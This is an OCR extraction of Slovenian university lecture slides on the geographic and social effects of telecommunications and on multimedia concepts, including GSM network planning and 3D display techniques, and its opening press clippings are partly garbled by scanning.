otroci gledajo televizijo ali ure in ure posedajo
za racunalnikom. Medgeneracijske primerjave

otrok kaZejo na skrb zbujajo¢ padec telesnih
sposobnosti”

Janez Smitek, smugarski trener, na vprasanje
zakaj je smucarskega podmladka manj kot
pred ¢asom.

“Otroci gredo zaradi gledanja televizije,
poslusanja radija ali igranja racunalniskih igric
pozneje spat, za namecek pa so tu Se mobilniki,

ki nenehno prekinjajo spanec. Otroci se ne
pogreznejo v globok spanec, ker v podzavesti
vedo, da lahko telefon vsak hip zapiska”

Dr. Jan Van den Bulck, profesor psihologije,
univerza Leuven, Belgija, o vplivu sodobne
elektronike na spalne motnje otrok




Kondicija na psu -

biti vseeno!

[ & puzntie
BATHISRE £4 ATLITIED, Hljenju,

EAKULTITA 24 SPoRT Saudipe (Quest, 56, 2004) kadefo, da e de
T e S vatradivi visaka kiliting podkodne lite
v d et 1970 7 red in povezana

telesni in gibali
rarvo] ook in mladine.  Hezulan
wwoww.spuan -l si/didakrita ) kabejo, da da-
nes nadi najstnikd (11 do 14 letnidd) prete-

anien kv pritiskoen, insulinskn
odparmasio, slabim peolilon lipidor vk
lial. Procesi areroskderoze se ménejo be v

atrodvi ln misdestmitv, Tore v obdobju

Eej 60 m povpretno
ek predd 30 leti.

meljnil
in navad, kot nia-

Hjfvoutnega znataja so bill misdi pred 30
Teti velikn uspeinejii. Bezubat aerchalh
sposchnost (oziroma natanéneje rezulan
 tekat i 600 m) otrok in miadine v Skove-
niji padajo priblizno 0.5 odstotka vsako le-
o,

Tolakha, vendar zebo slaba, je le, da so
takini negativii trendi navzodi tudi v ran
tih zahodnih detavah Evrope, v ZDA.
Awsaraliji in drugod.

Har se Janexek nasti —.
Neaktivivost in posledicno slabo kondicij
ko stanje je pomsemben dnumll tveganja
za adravie otrok in mhm

cifa deks in prosegn ¢asa, <p..m.u a‘m“
akthmost kot sestavnl del divijenja, odnos.
do kajenja. pija alkohola, poscganja po
drogah id. Raziskave nsdi kadejo, da je da-
nes v razvitem sveru be tretfing mladosti-
ke s povitanimi vrednosti holesserol v
krvi oriromsa da fe ved kot trerjing miada-
stnikov, M ima vsaj en povetan dejavaik
tveganga za seéno-Eine bolern

Otrodka debelost

To postaja resen problem telnslolk
avitega sveta in wedo pomemben dojaviik
rveganja, ki zahiseva ulkrepanje. Cezmerna
tedeama tela in debelont v otrodivu sa na-

mla-
dostnidke obdobie mo(rm emanjluje. Po
podatkih eviopske Snwdije (Medicine &
Selence in Sports and Exercise, 36, 2004), v
katero so zajell otroke in miadostnike ra-
alicnih evropskih dekay, jo bilo ugotavlje
na, da vetina devetletni otrok dosega za-
dovoljive vrediosti ielesie

meet
s, Takar sl be ol b prevellka telesna
teda 50 siektnl defavniki sdravda otrok in
miadine wdi Soljive diese in uparaba
shusftevalnih zdravil ter poslediéne niha-
wfa v telesid s, V dljenjskerm sbog Ste
vl sdolescendaih dekde je pretrana
skrh, dha bi

blekne 3ure dneviv - paleg Sparinib aktiv
masti sa vitete tudi druge gibalne aktivno.
st haja v bol, igre ). pei 15 letih pa de
ena totrting fandow in vet kit polovica dc

akibmosti |..|u el malo (ponavadi tepu-
ajo ujun in kadijo, s bi podacile tek.
Angleiki raziskovalel porotajo (Quest, 56,
Z004]. da je v v.-ml u.mmu; 20 oddstochow

Kot e vt 04
ta s njilova aktivoos! zmangia za pﬂhll-
0o so odstotko.

prehra
njenh, vetina o ||||Illrnm-|n|i‘|uh

Slaba koadicija otk in miadine vodi v Sport je

nesibavo Hljerje in balezenska stanja.
Stevilne bobeani srca in otilfa imajo svoj
v ¥ neustreznem Fvjeniskemn skogu, ki
g Jo pesameznik gradil od otrodkih let

najbatjia

Seveda ob fevilnih dokarih negatimega
wpliva neakeivnastl in slabe kondicije otrok
n miadine na mjiboy sdravstveni status
ohstafaga 0l el drikard o pomerb.

o kot pedianriénl problem, éeprav se ki

nem i ke vpliv e
lesne nlmmmu in kondicijshega statusa




»Cedalje ve¢
motori¢nih debilov«

| din je o trener Union ipevakil sl Bell - polno
dvorana. M rad bl uuwbununﬂammwwwmnm Mummmspomnwennﬂuo
matarmom v ligl Goodyear je v svojl pisami razmidljal o [jubljonskem stanju. Ne, ni bil preved navduien.

Je kadarka lubljanski iport
dtevilka ena?

Problematita je velplasina, Pr-
wit, peusmiljeni kapital
| wdaja na vrata Slovenije

stanovan, moj i
s Gl 3 bogatini

ki so z denacionaliza-
j nazaj. veliko tridese-
tletnikov je, ki e tudirajo. kajti
Studentsks statis se be aplada .

Huodete redi, da nimajo denarja
za opled kodarkarskih rekem?

Bistvo je, da nimajo demarja, si-
cer fe velika ponisdba drugih por-
tow, ljudic Boejo Eas 2 Arzino .

Kar si najbrs Zelite - da pride
vaa drling ma rekma!

Seveda bi bilo zame najbolge,
& bi hila dvorana poln.

Nekod fe bila, lth'AqH'N
tor rakrat drugade?

Tako je. Casi se spreminjajo, saj

Ali imare [jubljansko ikono, 5
katero bl se gledalel lahke poi-
stoverili? Je ibolt tak igrales,
i b maral priteguitl mase?

V Evropi je veliko kiubov. ki ni-

A.I' miajo venedih imen i svojil kro-

gov, pa so dvorane viceno polne
Obdinstvo zebo sprejema Ofbolta,
Boiso, 2k so sprejeh Babdariéa
Slovensko obinstvo je relo zab-
tevno in krititno. Igrame priviat-
o kotarke, a so dvorane prazmic

Kdo od slovenskik reprezen- il

santov bi pritegnil nafeeé ludi?
Mislim, da za polo dvorano ni
problens samo v imeny, Seveds si
Tjudje 2elijo sverdnikov, 2al pa s
il Olimpaja Be mote privedist
Betirovié sdaf igra v o
liji. Ni nobene mofnesi, da bi i
kidaj zaigral za Olimpijo?
Meni je Zal, ampak moram po-
vedati, da je véasih Olimpija jeema-
la zares dokazane kn talentirane
igralee. V 1 itel Beno

g da

Kaj pomeni za Ljubljano, da

\mgnh;.mgm.mubln
Wi, cenipo Ljubljano kot mesto,
Stani del je zelo urehen, veliko
nekdanjih Otimpijinib igraleey S
danes zebo ‘q“lﬂlllp. nade mesto,
vai-bi s radh vinali mazaj als pa
nllujnm spomine ¢ dolotenimi soi-

J:mrumno mafredfi viis na

Ljublians je zares urejens. Tudi
za misde drudine, odroci se lahko
solajo v mednarodnih csnoviih
solah, Eno wro smo do morfa, ce-
ste 0 urejene v primerjavi 2 Grld-
jo in Inakija.

All 3¢ Yudfe zavedajo pomena

(Himpija igra v eveoligi.
¥ nagemery ravao ne vidimo Ba-
yerna all Interfa vsak feden.

Problem je. da je Olimpija u
devet

jub:
Udrih, ki je ndlunm;ml za Polee-

adi o 2e samoumeyno. Scle :a

e lani govorilo, da
venskih igralcey v

S6 bo Ljubljana vimila na kodarko? - Trenes Olimpie Sato Fillpovsk
ima pri rokd kar nesaj argumentoy, da preprida Lubljanéane 1o ogied
CumEHjinin 1ekem,

Emame OFbolta.

pravim, ravio o skudam razume-
ti. Poleg veega, kar som natscl. s

igramo priviatne kokarke, #daj pa
s vidi, da ti argumenti ne dedijo.
Danes imamo slovenske igrake.

fo, tudi Sani Becirovie je igral v
Lagkem in e je prebil v Olimpijo,
podobing je bllo z Nachbarjem,
Brezcem in Nesterovicem. Zal
Sloveniji ni ved takih igralcev, da
bi jib Offmpija s nbke dada, Zani
bek, Slokar,

krat, ko tega ni ved, zatnem spo-
Stovat, kar smo imeli - takral pa
je 2e prepazna.

Kaliko talentov je ma lubljan-
kil wliénib igriféih?

V Slovenii je veliko ljudi zapr-
tih doma, imsjo play statione, ¥ ro-
kah drtijo ~joy sticke= ... Imanso.

ni mladih slo
ckipi, da ne

mnivi igrake so
Ziapan in Joksimevit.

“MOTORICNI DEBILI”

Koliko ralentov je na ljubljan-
skih uliénih igriséih?

V Sloveniji je veliko ljudi zapr-
tih doma, imajo play statione, v ro-
kah drzijo »joy sticke« ... Imamo

Cedalje ve¢ motori¢nih debilov.
Letos sem v Makedoniji videl, da
ima vsaka ulica svoj ko§, obro¢i so
krivi, a igri§€a so polna, igrajo tri
na tri. Tla niso ravna, ampak ka-
mnita, Zoge pa rabljene. Ljudje so
na cesti, obstaja uli¢na vzgoja. V
Ljubljani tega ni. Mladi se prema-
lo druZijo, star§i imajo za njih pre-
malo ¢asa. V Ljubljani je ogromno

igris¢, Tista za odbojko so polna.
Za badminton tudi, squash prav
tako. Veliko ljudi se rekreira, a to
so starejSi, Sportno ozave§Ceni
ljudje. Kosarkarska igri§¢a? V Ti-
voliju in v Stepanjskem naselju jih
je nekaj, na FuZinah, na Iliriji tudi
— vendar so v primerjavi s starimi
Casi prazna.

Marko A. Krasié




Nezdravo tipkanje po mobilniku

Zdravniki in strokovnjaki odkrivajo vedno nove bo-
lezni, povezane s sodobno tehnologijjo, ki so vse
bolj razsirjene predvsem med mladimi. Kot piSejo
v La Repubblici, Stirinajstletnica iz Savone blizu
Genove ni mogla premakniti palca na desni roki.
Starsi so pripisali poskodbo in bole¢ine nerodne-
mu padcu v telovadnici ali nerodnosti pri uri teni-
sa, toda deklica je zdravniku nenehno zatrjevala,

da se ji ni zgodilo ni¢ podobnega. Zdravnik je po-
stavil pravilno diagnozo, ko je videl kretnjo paci-
entke, ki je med pregledom v ambulanti prejela
sporotilo SMS. =Ko sem jo vpradal, koliko sporocil
napie na dan, mi je odgovorila, da sto ali veé in
zardela. Takoj sem dobil potrdilo, da je vzrok za
njene tefave - tipkanje po tipkovnici mobilnika,« je
pojasnil zdravnik. Vnetje prstne tetive ni edina te-
Zava, za katero trpi danasnja miadina, ki si ne zna
veé niti p ljati Zivijenja brez pi ga te-
lefona ali ratunalnika. 5 pisanjem kratkih sporogil
izgubljajo tudi zmoZnost izraZanja in besedni za-
klad. Raziskovalci z oxfordske univerze so ugotovi-
li, da otroke med 4. in 10. letom, ki uporabljgjo
prenosni telefon in raéunalnik oziroma igrajo radu-
nalniske igrice, pesti med drugim pomanjkanje
spanja. Od sodobnih oblik zabave hitro lahko po-
stanejo odvisni, pogosto jih preveva tudi obutek

tesnobe in osamljenosti.

Zakaj sta televizija in racunalnik
nevarna za otroka?

»Pozor, zaslonl« se
glasi naslov najnovej-
Se knjige uglednega
nemskega razisko-
valca mozZganov
Manfreda Spitzerja,
nevrologa in psihia-
tra, vodje univerzite-
tne klinike za psihia-
trijo in centra za ne-
vrologijo in ucenje v

—  Ulmu. V njej govori o
dokazano Skodljivem vplivu televizije in racunalni-
kov na otroke. Televizijo gledajo Ze zelo mali otroci,
vendar morajo otroSki mozgani graditi strukturo iz
izkusenj. Malcki ne morejo povezovati informacij z
zaslona in iz zvocnikov. Razvijejo se nejasne struk-
ture. Veliko bolje je, kadar otroci izkusajo svet z vo-
hanjem, okusanjem, tipanjem. Vsako gledanje tele-
vizije otrok v letih, ko hodijo v vrtec, je zato zelo Sko-
dljivo, je izjavil Spitzer v pogovoru za nemski tednik

Focus.




Seks -
najljubsi
pojem

Kaj najbolj zanima
slovenske uporabnike
interneta
Gregor Cerar

Najdi.si si je v treh letih obstoja iz-
boril naslov slovenskega spletnega
iskalnika stevilka ena. Dnevno ga
obis¢e kar 100.000 obiskovalcev.
Obiskanost Najdi.si pa je tudi svoje-
vrstni indikator slovenskih internet-
nih navad. Po podatkih Najdi.si je na
slovenskem koscku svetovnega sple-
ta #e 4,7 milijona dokumentov (sled-
nji so na straneh s slovensko vsebino
ali pa na straneh s konénico .si).
Med njimi je 2,6 milijona tekstov,
1,8 milijona slik in 20.000 zvoénih
datotek. Med brskanjem po tej zbir-
ki podatkov pa slovenske surferje,

podobno kot se dogaja na sploéno,
zanima spolnost. V letu 2002 so
uporabniki Najdi.si kar 439.000-krat
kot iskalni pojem vpisali seks. Na
drugem mestu so bili SMS-ji z
280.000 iskanji, na tretjem pa eroti-
ka z 266.000 iskaniji. Sicer pa so veC
kot 100.000 iskanj zabelezili $e ho-
roskop, igre, telefonski imenik, ver-
zi, loto, porno, vreme, chat, mobitel,
matkurja, dohodnina, podnapisi,
nepremicnine in zaposlitev. Zanimi-
ve so bile tudi najbolj priljubljene
osebnosti, med obdarovalci je zma-
gal Bozicek, pred MiklavZem in
Dedkom Mrazom, med muzikanti
Be Pop, pred svojim pokojnim ¢la-
nom Nejcem Erazmom in Siddhar-
to, med politiki pa je bil naj Janez
Drnovéek pred Titom in Osamo bin
Ladnom. Vrstni red najbolj iskanih
politi¢nih strank pa je enak tistemu
v parlamentu (LDS,SDS in ZLSD).




Stikova raziskava o uporabi interneta v sluzbi

Vsak dvajseti
gleda pornografijo

Na delovnem mestu uporablja splet vec¢ Zensk, ma§kiﬂ pa
dlje ¢asa — Najpogosteje po informacije, povezane s hobiji

UCINKI IN POSLEDICE SODOBNIH
TELEKOMUNIKACIJ V DRUZBI

« Jezikovni vplivi




UCINKI IN POSLEDICE SODOBNIH
TELEKOMUNIKACIJ V DRUZBI

« ZmanjSanje odzivnih ¢asov ob nesre¢ah

+ enostavnejSe lociranje zaradi lokacijskih
informacij




UCINKI IN POSLEDICE SODOBNIH
TELEKOMUNIKACIJ V DRUZBI

« Delovna mesta v ICT panogi
(v Evropi manjka 40.000 ICT inZenirjev)

Kak$na delovna mesta, kakSna znanja?

UCINKI IN POSLEDICE SODOBNIH
TELEKOMUNIKACIJ V DRUZBI

« DruZzbena odgovornost in pomen
telekomunikacijskih podjetij




UCINKI IN POSLEDICE SODOBNIH
TELEKOMUNIKACIJ V DRUZBI

« Sevalne obremenitve na ¢lovesko telo (predvsem
zaradi uporabe maobilne telefonije)

SEVANJE NAPRAV

lllilppe Welle zuteiiung von Frequenzbereichen in Deutschiand

Bd 28

Radio Femsehen Mobil-  Schnurlose GPS Mobilfunk

X

Alamm-_Mikrowelle

funk  Telefone (GSM, anlagen gerate L
bl (GSM) =3 UMTS) Soztand
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VPLIV SEVANJA NA CLOVESKO TELO

prasanvani vl

UCINKI IN POSLEDICE SODOBNIH
TELEKOMUNIKACIJ V PROSTORU

« Sevalne obremenitve in njihov vpliv na Zivalstvo in
rastlinstvo




SEVALNE OBREMENITVE V OKOLICI BAZNE
POSTAJE

UCINKI IN POSLEDICE SODOBNIH
TELEKOMUNIKACIJ V PROSTORU

« Spremembe v izgledu kulturne pokrajine in mestnih
obmodij (antene in druga telekomunikacijska
infrastruktura)










UCINKI IN POSLEDICE SODOBNIH
TELEKOMUNIKACIJ V PROSTORU

« Razvrednotenje zemljiS¢ v blizini infrastrukture




UCINKI IN POSLEDICE SODOBNIH
TELEKOMUNIKACIJ V PROSTORU

- Problematika odlaganja odsluzenih elektronskih
naprav

Kam z odsluZenimi telefoni
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UCINKI IN POSLEDICE SODOBNIH
TELEKOMUNIKACIJ V PROSTORU

« Digitalni odtis posameznika (Google footprint)

E andrej gregorc - Iskanje Google - Windows Internet Explorer

(S google.si
¢ Favorites andre] gregore - Iskanje Google
56 mag. Andrej Gregore ~
v Itfe.orgio-Itfe/o-I ni../mag-andrej-gregorc! - Posnetek
Slike mag. Andrej Gregorc, univ. dipl. geog., zunanji sodelavec ... Andrej Gregorc je na
Filozofski fakulteti Univerze v Ljubljani diplomiral iz geografije leta 2002 in ...
Videoposnetki
Vel Andrej Gregore | Facebook
sl-sifa com/people/Andrej-Gregorc/1515368951 - Posnetek
Andrej Gregorc is on Facebook. Join Facebookto connect with Andrej Gregorc and
Ljubljana others you may know. Facenook omogega udern, da delijo in ustvara bolj ..
Spremeni lokacijo
Ptife preganjajo s stragilnimi pistolami in avtomobili
v delo.silclaneki1 16070 - Posnetek
Splet 4 avg 2010 — Kdor meni, da ne dela napak, nima kaj iskati med kontrolerji zraénega
prometa,« je dejal 32-letni Andrej Gregorc, ki j& v SIUZbi v stalpu ...
P;?::[?‘E”EME Andreja Gregore | Facebook
sl-sifacebook com/people/Andreja-Gregorc/125290 Posnetek
Vet orodij Andreja Gregorc je na Facebooku. Join Facebook to connect with Andreja Gregorc and
others you may know. Facebook omogeta ljudem, da delije, ter ustvarja ...
Andrej Gregore na Netlogu
sl.netlog.comisorgens123
Andrej Gregorc stran z novicami&kontakti na Netliogu. Oglej sifotke, video posnetke.
prijatelje in 3e velike ve od Andrej
Armaroth | Free Music. Tour Dates. Photos_Videos
www.myspace.com/armaroth - Posnetek - Prevedi to stran L
A session member, Andrej Gregorc (ex-Raven Death, Nature) was taken in, for two ...
Soon after the band finally got a drummer, that is Andrej Gregorc who has ...
Geografija smrine kazni v ZDA ... - Andrej Gregore - Google Books
books.google.comibooks!../Geografija_smrne_kazni_v_ZDAhtmlI?i...
Andrej Gregorc - 0 Reviewshttp /books.google com/books/about/
Geografija_smrine_k: v_ZDA htm|?id=yABKOgAACAAL. A Gregorc, 2004 - 318
Pages ..
Mational Park Destinations Rated - National Geographic Traveler
traveler nationalgeograpt panelists- . - Posnetek - Prevedi to stran
Steven M. Graves, Geography professor. Andrej Gregorc, MA., Geographer Stephen b
one Q Internet S - B 95%




UCINKI IN POSLEDICE SODOBNIH
TELEKOMUNIKACIJ V PROSTORU

SPREMEMBE V SOLSKEM SISTEMU

« “absolutni spomin”, ki ga omogoc¢a internet z
moznostjo instantnega priklica

- milade generacije po sposobnostih uporabe ICT
moc¢no prekasajo mentorje/ucitelje

- digitalizacija Solstva (npr. JuZna Koreja bo do leta
2015 povsem digitalizirala Solstvo)

« pomembnost mrez in omrezij, tehnoloskih in socialnih

« Casovna in lokacijska neodvisnost

Sugata Mitra — Hole in the Wall

e g 2




GEOGRAFIJA NASTANKA IN RAZVOJ MOBILNIH
TELEKOMUNIKACIJ

Kje? Danska, Finska, Islandija, Norveska, Svedska in
Savdska Arabija

Kdaj? 1981 — NMT omrezje v Savdski Arabiji

Zakaj? Nizka gostota poselitve, majhna in izolirana
naselja, specifi¢ni reliefni in klimatski pogoji, dobra
razvitost in visok BNP

Princip celi¢ne telefonije

Celice: ponavljanje frekvenc
Mobilnost: prehajanje med celicami

y TXF1 [ TXF2 TX F1

s prehod

Motnje na F1 o




TEORETICNI IZGLED CELIC V PROSTORU

OSNOVNA GRAEICNA SHEMA MOBILNEGA
OMREZJA V PROSTORU

LOKACIWSKO
PODROCJE 1

LOKACIJSKO PODROCJE 2

LOKACISKO
PODROCJE 3

KOMUTACIJSKO PODROCJE




IZGRADNJA GSM OMREZJA

IZHODISCA ZA TEORETICNO OCENO OMREZNEGA PROMETA

gostota in razporeditev prebivalcev

Stevilo avtomobilov na prebivalca in gostota
avtomobilskega prometa

povprecni prihodek na prebivalca

Stevilo obstojecih telefonskih prikljuckov na prebivalca
reliefne razmere

klimatsko — meteorolo$ke razmere

raba tal

TEORETICNI IZRACUN OMREZNEGA PROMETA

Kraj s 5.000 prebivalci, brez turisti¢nih priviaénosti

Operaterjev delez uporabnikov med prebivalstvom npr.
60 %

5.000 * 0,6 = 3.000 teoreticnih uporabnikov
3.000 uporabnikov * 15 miliErlangov = 45 Erlangov

dolocitev Stevila govornih in prometnih kanalov




TEORETICNI IZRACUN OMREZNEGA PROMETA ZA
TURISTICNE KRAJE

Turistiéni kraj s 5.000 prebivalci + max Stevilo turistov in
dnevnih obiskovalcev npr. 10.000

Operaterjev delez uporabnikov med prebivalstvom npr. 60 %
(ponavadi vecji zaradi tujcev, npr. 70%)

15.000 * 0,7 = 10.500 teoreti¢nih uporabnikov
10.500 uporabnikov * 15 miliErlangov = 158 Erlangov

dolocitev Stevila govornih in prometnih kanalov

Pokrivanje s signalom GSM
Faza 1




IZBOR POLETNIH PRIREDITEV Z ZNACILVNIM
POVECANIM PROMETOM V GSM OMREZJU

PRIREDITVE DATUM
MARATON TREH SRC, RADENCI 19.5.
SRECANJE BUSH — PUTIN, BRDO PRI KRANJU 25.-27.5.
NOC NA JEZERU, MOST NA SOCI 28.6.-1.7.
FESTIVAL LENT, MARIBOR 22.6.-7.7.
PIVO IN CVETJE, LASKO 11.-15.7.
BLEJSKI DNEVI IN BLEJSKA NOC, BLED 20.-22.7.
KOPRSKA NOC, KOPER 27.-29.7.
NOC NA JEZERU, ZBILJE 4.8.
FLOSARSKI BAL, LJUBNO OB SAVINJI 5.8.
VIP TENISKI TURNIR, M CLUB, VELENJE 18.8.
ERAZMOV VITESKI TURNIR, PREDJAMSKI GRAD 18.1in 19.8.
NOC NA LJUBLJANICI, LUUBLJANA 31.8.in1.9.
TRADICIONALNI DNEVI NARODNIH NOS, KAMNIK 7.-9.9.

NACINI ZAGOTAVLJANJA DODATNIH PROMETNIH
KAPACITET V OMREZJU

- Povecanje kapacitete obstoje€ih baznih postaj
« Vkljucitev mobilnega kombija

« Namestitev zacasne bazne postaje




What is it?

You have new wmail!




"Didn't you get my e-mail?"

GEOGRAFSKI VIDIKI TELEKOMUNIKACIJ

”0Od mamutov do interneta stvari”’

HVALA!

mag. Andrej Gregorc

21.12. 2011




CIFE

Telekomunikacie in informaciske Tehnologie

Laboratorij za telekomunikacije
Fakulteta za elektrotehniko

Multimedija

KS UNI

as. mag. Jote Guna

——

www.ltfe.org, Laboratorij za telekomunikacije




Multimedijski koncepti

Multimedijske vsebine

Terminali (naprave) in
tehnologije prikaza

Multimedijske storitve

Multimedija in Interaktivnost

Multimedija na Fakulteti za elektrotehniko




MM koncepti

{ www.ltfe.org, Laboratorij za telekomunikacije
1
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| Multimedija

Multimedija je kombinacija vsebin v razlicnih oblikah (zvok, slika,
video, animacije,tekst,...), ki tipicno omogoca interaktivnost.

Prva omemba multimedije: za promocijo dogodka “LightWorks at
L'Oursin”, 1966, Southampton, Velika Britanija
m Diskoteka: glasba in lightshow ©

—t—

www.ltfe.org, Laboratorij za telekomunikacije




Kaj je Multimedija/Vecpredstavnost?

Tekst Avdio Slike

“Multimedia (Lat.
Multum + Medium) is
media that utilizes a
combination of different
content forms. The term
IS used In contrast to
media which only utilize
traditional forms of
printed or hand-
produced text and still
graphics. In general,
multimedia includes a
combination of text,
audio, still images,
animation, video, and

Interactivity content
forms.” Wiki Animacije Video Stereovizija,

3DTV

Multimedijski elementi (

www.ltfe.org, Laboratorij za telekomunikacije 7 )




MM vsebine

{ www.ltfe.org, Laboratorij za telekomunikacije
1




Multimedijske vsebine - zvok

Zvok

m Mono, stereo, prostorski zvok

m Zajem na Stevilnih napravah: mikrofon, telefon,
kamera, racunalnik,...

m Formati:
m mp3, WAV, AIFF, FLAC, AAC, Vorbis,...
m Zgodovina:

m Prvi zajemi 1877, mehanski zapis (vosek, baker)
m Posnetek na voséenem cilindru iz leta 1888

m Kasneje magnetni trakovi, vinilke, CD, DVD,
diski,...

www.ltfe.org, Laboratorij za telekomunikacije
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Arthur_Sullivan_-_wax_cylinder_recording.ogg

Multimedijske vsebine - slike

Slika

m 2D predstavitev objektov, scen,...

m Naravne (zajem za napravo) in umetne (racunalniska
grafika) in kombinacije obeh
m Lastnosti:
m Barve: CB, sivinske, barvne
m Locljivost: koliko slikovnih elementov imajo (pixel):
m Formati zapisa: pholokina tassoDan

m Rastrski formati:

m  Opisujejo posamezne pixel-e na sliki

m Gif, JPEG, PNG, TIFF, BMP, EXIF, RAW ...
m Vektorski formati:

m Vsebujejo geometrijske opise elementov na sliki = boljSe
obnasanje pri spremembi velikosti slike

= SVG,CGM
m Veliko motno sti obdelave slik ©

——

www.ltfe.org, Laboratorij za telekomunikacije
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Multimedijske vsebine - video

Video (lat. “videre” - slo. “vidim”)
m Zaporedje slik, dovolj hitro, da “prevara” oko
m vsaj 25 slik/s

m Zajem na Stevilnih napravah: video kamera, telefoni,
PC-spletne kamere, ...
m Zgodovina:

m 1860: animacije sestavljene iz ve¢ slik, naprava mutoskop,
praxinoskop,...

m 1878: zajem vec slik, zaporedno prikazovanje (konjske
dirke)

m 1936: prvi redni TV program na BBC
m 1951: prvi prenos v tivo v ZDA: govor preds. Truman

Danes:
m “NajpotratnejSa” vsebina na internetu (90% prometa je

video!!l) )
You I hulu

@ myS pa C et Broadcast Yourself™

a place for videos
. Mutoskop: vir Wikipedia
Google ;

Video

( www.ltfe.org, Laboratorij za telekomunikacije
T




Multimedijske vsebine — video (2)

= Formati:

=  Analogni: PAL, NTSC, SECAM
m PAL: 720 x 576, 50 pol-slik/s (4:3)

m Digitalni:
m SD: 720 x 576
= HD: 480p, 720p, 1080i, 1080p... (16:9)
m Prihajajo vse vegéje lo€ljivosti

n  Kodeki :
= MPEG2, MPEG4 (H.264), DivX / Xvid, WMV, Sorenson, RealVideo,...

NTSC/VGA 640 = 480

( www.ltfe.org, Laboratorij za telekomunikacije B




www.ltfe.org, Laboratorij za telekomunikacije 13 I
e —



UHDV

Nippon NHK Ultra High Definition Television
m 16:9@7680x4320 pixel (33 megapixel)
m 60 slik/s progresivno
m 22.2 avdio sistem

m 3 spodnji nivo

m 10 srednji nivo (viSina uses)
m 9 zgornji nivo

m 2 bas kanala

Celoten sistem
m Zajem
m Prenos
m Shranjevanje
m Projekcija

Format UHDV kamera
m Nekompresirano: 24 Gbit/s

m Kompresirano: MPEG2 600 Mbit/s; MPEG4: 140 Mbit/s

1 www.ltfe.org, Laboratorij za telekomunikacije

14 )




| Multimedijske vsebine - 3D

Kaj je “3D” prikazovalnik?
Navidezni 3D

m Stereoskopija (prostorsko gledanje)
m Dodatni pripomocki (npr. oc¢ala)

m Avtostereoskopija
m Brez dodatnih pripomockov

Pravi 3D

m Holografija
m Volumetricni prikazovalniki

http://en.wikipedia.org/wiki/3D display

——

www.ltfe.org, Laboratorij za telekomunikacije 15 )



http://en.wikipedia.org/wiki/3D_display

| Stereoskopske tehnike — navidezni 3D

= lluzija 3D slike

m Locen prikaz dveh ustrezno zamaknjenih
slik (~6.35cm me ’

= Vizualni korteks ;
3D efekt

m Tests “prstom” -#

= Potrebna so pos:
slik (levo-desno «

= Tehnike

m Barvno locevanje
m Polarizacijsko lo¢evanje

m Aktivno prikazovanje/temnenje (eclipse
method)

——

www.Itfe.org, Laboratorij za telekomunikacije 16 |




) Anaglifna metoda

www.Itfe.org, Laboratorij za telekomunikacije 17 |
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Anaglifna metoda

- -

.
,




ﬂ Anaglifna metoda Q-f\-g

- ‘%‘ '

fe.org, Laboratorij za telekomunikacije 19 |






http://www.matjaztancic.com/

LTFE 3D TV

= Pilot

m 2x Logitech web cam (in plazma piskoti)
m Zajem z aplikacijo gstreamer v Linux OS

m Obdelava in predvajanje — Youtube 3D
= Primer

m http://www.youtube.com/watch?v=EYp8UVIiEmQO0
\(11] Tube] |

Search Browse  Upload

1 3d test 23. 6. 2010

dmulac 5 videos (=]  Subscribe

» 4] oosroz

Blke Y 4 Addto ~ | Shae  Embed W

135 vens

hitp /fwvew . mudaz. org/blog/2

——

www.ltfe.org, Laboratorij za telekomunikacije
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http://www.youtube.com/watch?v=EYp8UViEmQ0

| Avtostereoskopija

= Naprava sama omogoca prikaz iluzije 3D slike

= Avtostereogram
m Ponavljajo¢ vzorec se interpretira kot 3D slika
m Nadéin gledanja
m Vzporedno “wall-eyed”
m Kritno “cross-eyed”

re,
“cross-eyed” /4 “wall-eyed”

( www.ltfe.org, Laboratorij za telekomunikacije
T

22 |
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| Avtostereoskopski TV

= Navidezni prikaz 3D slike na zaslonu brez dodatnih
pripomockov

= Ildeja — locCitev (levo-desno oko) v sami prikazovalni napravi
m Bikonveksna lec¢a (lenticular lens)
m Paralaksna bariera (parallax barrier)

= Prednost
m Oc¢ala niso potrebna

= Slabost

m 3D efekt je moten le v doloCenih tockah (“sweet spot”)

——

www.ltfe.org, Laboratorij za telekomunikacije 25 J







Pasovne Sirine v praksi

Storitev Pasovna Sirina

Govor- GSM 13 kbit/s
Govor- ISDN 64 kbit/s
Streaming audio 20 kbit/s — 512 kbit/s
Streaming video — MPEG 2 4 — 8 Mbit/s
Streaming video — MPEG 4/AVC 1 — 3 Mbit/s
Internet video 28 kbit/s — 1 Mbit/s

8 — 14 Mbit/s (MPEG 4avc)
HDTV QMbitls (MPECD

Videokonference 384 kbit/s — 5 Mbit/s

——

www.ltfe.org, Laboratorij za telekomunikacije 27 )




prenosa MM vsebin

lzdelava vsebin

Uporabniki

1

Z

Z .e\

¢na omrezja

w

[@ @ Poslovna in reziden

“ 5 | ~)
A\
.!-l?y!een!,som bt Tokokrogovni
Fiksni sistemi " telemach
(
lllll o @9 Paketni
ami< s (T2 Paketni
N o
f 7 3
Tokokrogovni
Brezziéni in ‘i& wdmobi o /
mobilni sistemi s ~
@ sImobil Paketni Tokokrogovni
b Povej nekaj lepega
\_ - 4 \_\“ J_/’
< . ~)
Analogni
RADIO
Radiodifuzni \—X TELEVIZIJA d
sistemi / SLOVENIJA A
Digitalni
X \ 2
Dostopovna omreZja Hrbteniéna omrezja

Podatkovne storitve
in Internet

Video storitve

Poslovni procesi

Govorne storitve i

Storitveni sistemi

UIgeSA Ul ABJII0]S IUpNUOd

Nacrtovanje, upravljanje in nadzor sistemov

( www.ltfe.org, Laboratorij za telekomunikacije
T
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Terminali in tehnologije prikaza

( www.ltfe.org, Laboratorij za telekomunikacije
T




| Terminalne naprave- razdelitev

= Osebni racunalnik zmogljivost
m Televizijski komunikator (Net-Top-Box)

= Igralna konzola

= Tabliéni ra€unalnik (Tablet PC)

= Dlancénik

= Mobilni telefon

= Specializirane naprave mobilnost

www.ltfe.org, Laboratorij za telekomunikacije 30 J




Terminalne naprave

Lastnosti, ki jih delajo uporabne za multimedijo
m Dobra povezljivost (LAN, UMTS, HSDPA, WiFi)
m Vse mocnejsi procesorji (1Ghz+)
m Pomnilniki (N x 10Gb)
m Zasloni z dobro locljivostjo (480 x 800 in vec)
m Intuitivno upravljanje
m Dotik
m Glas

m Vse boljSe baterije

——

www.ltfe.org, Laboratorij za telekomunikacije




| Kriteriji za zmogljiv terminal v letu 2010

Dober telefon naj premore

m 5 Mpix kamero z avtomatskim ostrenjem in dvojno bliskavic«

m zmotno st zajemanja videa HDTV (1280%720)

m vsaj 1GHz procesor (npr. Snapdragon)

m vsaj 4" zaslon na dotik |J

m povezljivost HSDPA in HSUPA |
